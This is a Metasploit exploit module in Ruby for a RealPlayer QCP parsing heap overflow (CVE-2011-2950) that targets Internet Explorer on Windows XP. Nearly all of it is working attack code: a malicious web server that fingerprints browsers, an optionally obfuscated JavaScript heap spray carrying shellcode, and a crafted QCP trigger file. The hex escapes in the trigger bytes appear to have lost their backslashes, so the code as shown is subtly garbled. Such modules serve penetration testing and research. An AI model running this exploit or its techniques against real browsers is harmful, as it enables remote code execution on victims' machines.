##
# $Id: realplayer_qcp.rb 13745 2011-09-17 06:48:33Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info={})
		super(update_info(info,
			'Name'        => "RealNetworks Realplayer QCP Parsing Heap Overflow",
			'Description' => %q{
					This module exploits a heap overflow in Realplayer when handling a .QCP file.
					The specific flaw exists within qcpfformat.dll. A static 256 byte buffer is
					allocated on the heap and user-supplied data from the file is copied within a
					memory copy loop.

					This allows a remote attacker to execute arbitrary code running in the context
					of the web browser via a .QCP file with a specially crafted "fmt" chunk.
					At this moment this module exploits the flaw on Windows XP IE6, IE7.
				},
			'License'     => MSF_LICENSE,
			'Version'     => "$Revision: 13745 $",
			'Author'      =>
				[
					'Sean de Regge', # Vulnerability discovery
					'juan vazquez'   # Metasploit module
				],
			'References' =>
				[
					['CVE', '2011-2950'],
					['OSVDB', '74549'],
					['BID', '49172'],
					# ZDI advisory
					['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-265/'],
					# Vendor advisory
					['URL', 'http://service.real.com/realplayer/security/08162011_player/en/'],
					#Fix commit
					['URL', 'http://lists.helixcommunity.org/pipermail/datatype-cvs/2011-April/015469.html'],
				],
			'Payload' =>
				{
					'Space' => 1024
				},
			'DefaultOptions' =>
				{
					'ExitFunction' => "process",
					'InitialAutoRunScript' => 'migrate -f'
				},
			'Platform' => 'win',
			'Targets'  =>
				[
					[ 'Automatic', {} ],
					[ 'Internet Explorer 6 on XP SP3', { 'Nops' => "%u1414%u1414" } ],
					[ 'Internet Explorer 7 on XP SP3', { 'Nops' => "%u0c0c%u0c0c" } ],
				],
			'DisclosureDate' => "Aug 16 2011",
			'DefaultTarget' => 0))

		register_options(
			[
				OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
			], self.class)
	end

	def get_target(cli, request)
		#Default target
		my_target = target

		vprint_status("User-Agent: #{request.headers['User-Agent']}")

		if target.name == 'Automatic'
			agent = request.headers['User-Agent']
			if agent =~ /NT 5.1/ and agent =~ /MSIE 6.0/
				#Windows XP + IE 6
				my_target = targets[1]
			elsif agent =~ /NT 5.1/ and agent =~ /MSIE 7.0/
				#Windows XP + IE 7.0
				my_target = targets[2]
			elsif agent =~ /RMA/
				#RealPlayer identifies itself as "RMA/1.0 (compatible; RealMedia)"
				#when requesting our trigger file
				return 'RMA'
			else
				#If we don't recognize the client, we don't fire the exploit
				my_target = nil
			end
		end

		return my_target
	end

	def exploit
		#Set trigger file name
		@filename = rand_text_alpha(rand(6) + 3)
		#Create the trigger file
		@trigger = build_trigger
		super
	end

	def on_request_uri(cli, request)
		#Pick the right target
		vprint_status("Selecting target...")
		my_target = get_target(cli, request)
		if my_target.nil?
			print_error("Target not supported")
			send_not_found(cli)
			return
		end

		vprint_status("URL: #{request.uri.to_s}")

		#Send the trigger file upon request
		if request.uri.match(/.qcp$/)
			print_status("Sending trigger file to #{cli.peerhost}:#{cli.peerport}")
			send_response(cli, @trigger, { 'Content-Type' => 'application/octet-stream' })
			return
		end

		vprint_status("Building shellcode...")
		code = Rex::Text.to_unescape(payload.encoded)

		vprint_status("Building spray...")
		spray = build_spray(my_target, code)

		#obfuscate on demand
		vprint_status("Obfuscating javascript...")
		if datastore['OBFUSCATE']
			spray = Rex::Exploitation::JSObfu.new(spray)
			spray.obfuscate
		end

		vprint_status("Building html...")
		#Value for the 'Src' parameter of our ActiveX control
		trigger_file = ""
		if ("/" == get_resource[-1,1])
			trigger_file = get_resource[0, get_resource.length - 1]
		else
			trigger_file = get_resource
		end
		trigger_file << "/#{@filename}.qcp"


		html = <<-EOS
		<HTML>
		<HEAD>
		</HEAD>
		<BODY>
		<script language='javascript'>
		#{spray}
		</script>
		<OBJECT ID=RVOCX CLASSID="clsid:CFCDAA03-8BE4-11cf-B84B-0020AFBBCCFA" WIDTH=320 HEIGHT=240>
		<PARAM NAME="SRC" VALUE="#{trigger_file}">
		<PARAM NAME="CONTROLS" VALUE="ImageWindow">
		<PARAM NAME="CONSOLE" VALUE="one">
		<PARAM NAME="AUTOSTART" VALUE="true">
		<EMBED SRC="#{trigger_file}" WIDTH=320 HEIGHT=240 NOJAVA=true CONTROLS=ImageWindow CONSOLE=one AUTOSTART=true>
		</OBJECT>
		</BODY>
		EOS

		print_status("Sending malicious page to #{cli.peerhost}:#{cli.peerport}...")
		send_response( cli, html, {'Content-Type' => 'text/html'} )
	end

	def build_trigger()
		overflow_size = 700
		overflow_string = "x11" * 700

		#riff_mark
		trigger = "x52x49x46x46"
		#total_size
		trigger << [0xed44 + overflow_size].pack("V")
		#qlcm_tag
		trigger << "x51x4cx43x4d"
		#fmt_tag
		trigger << "x66x6dx74x20"
		#fmt_size
		trigger << [0x96 + overflow_size].pack("V")
		#fmt_content
		trigger << "x01x00x8dxd4x89xe6x76x90"
		trigger << "xb5x46x91xefx73x6ax51x00"
		trigger << "xcexb4x01x00x54x49x41x20"
		trigger << "x49x53x2dx31x32x37x20x45"
		trigger << "x6ex68x61x6ex63x65x64x20"
		trigger << "x56x61x72x69x61x62x6cx65"
		trigger << "x20x52x61x74x65x20x43x6f"
		trigger << "x64x65x63x2cx20x53x70x65"
		trigger << "x65x63x68x20x53x65x72x76"
		trigger << "x69x63x65x20x4fx70x74x69"
		trigger << "x6fx6ex20x33x20x00x00x00"
		trigger << "x00x00x00x00x00x00x00x00"
		trigger << "x00x00x00x00xc8x32x16x00"
		trigger << "xa0x00x40x1fx10x00x05x00"
		trigger << "x00x00x16x04x0ax03x05x02"
		trigger << "x02x01x00x00x00x00x00x00"
		trigger << "x00x00x00x00x00x00x00x00"
		trigger << "x00x00x00x00x00x00x00x00"
		trigger << "x00x00x00x00x00x00"
		trigger << overflow_string
		#vrat_tag
		trigger << "x76x72x61x74"
		#vrat_size
		trigger << [0x8].pack("V")
		#vrat_content
		trigger << "x01x00x00x00x06x13x00x00"
		#data_tag
		trigger << "x64x61x74x61"
		#data_size
		trigger << [0xec8a].pack("V")
		#data_content
		trigger << rand_text_alpha(0xec8a)
		return trigger
	end

	def build_spray(mytarget, code)
		spray = <<-JS
		var heap_obj = new heapLib.ie(0x20000);

		var code = unescape("#{code}");
		var nops = unescape("#{mytarget['Nops']}");

		while (nops.length < 0x10000) nops += nops;
		offset = nops.substring(0, 0x7BE0);
		var shellcode = offset + code + nops.substring(0, 0x8000-offset.length-code.length);

		while (shellcode.length < 0x20000) shellcode += shellcode;
		block = shellcode.substring(0, (0x10000-6)/2);

		heap_obj.gc();

		for (var i=0; i < 0x1400; i++) {
			heap_obj.alloc(block);
		}
		JS

		spray = heaplib(spray)
		return spray
	end

end